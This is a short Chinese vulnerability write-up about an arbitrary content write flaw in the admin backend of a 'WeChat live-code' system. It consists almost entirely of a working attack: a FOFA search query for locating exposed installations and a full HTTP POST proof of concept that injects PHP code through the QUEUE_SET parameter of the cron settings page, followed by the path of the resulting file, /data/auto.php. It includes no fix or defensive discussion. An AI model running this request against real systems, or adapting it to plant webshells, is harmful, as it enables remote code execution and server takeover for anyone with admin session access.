# 微信活码系统后台任意内容写入

## fofa

```javascript
body=".qn-user-login"
```

## poc

```javascript
POST /index.php?s=/manage/cron/index HTTP/1.1
Host: 192.168.18.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Cookie: think_language=zh-CN; PHPSESSID=6e7n0os6qsvnlsthdns1dj1n95; qn_admin_think_language=zh-CN; qn_admin___forward__=%2Findex.php%3Fs%3D%2Fmanage%2Fconfig%2Findex; qn_admin_video_get_info=%2Findex.php%3Fs%3D%2Fhome%2Fpublic%2Fgetvideo
Priority: u=0
X-Requested-With: XMLHttpRequest
Origin: http://192.168.18.137
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Referer: http://192.168.18.137/index.php?s=/manage/cron/index
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 38

QUEUE_SET=%3C%3Fphp+phpinfo()%3B%3F%3E
```

![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202411201420483.png)

![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202411201421522.png)

文件地址：`/data/auto.php`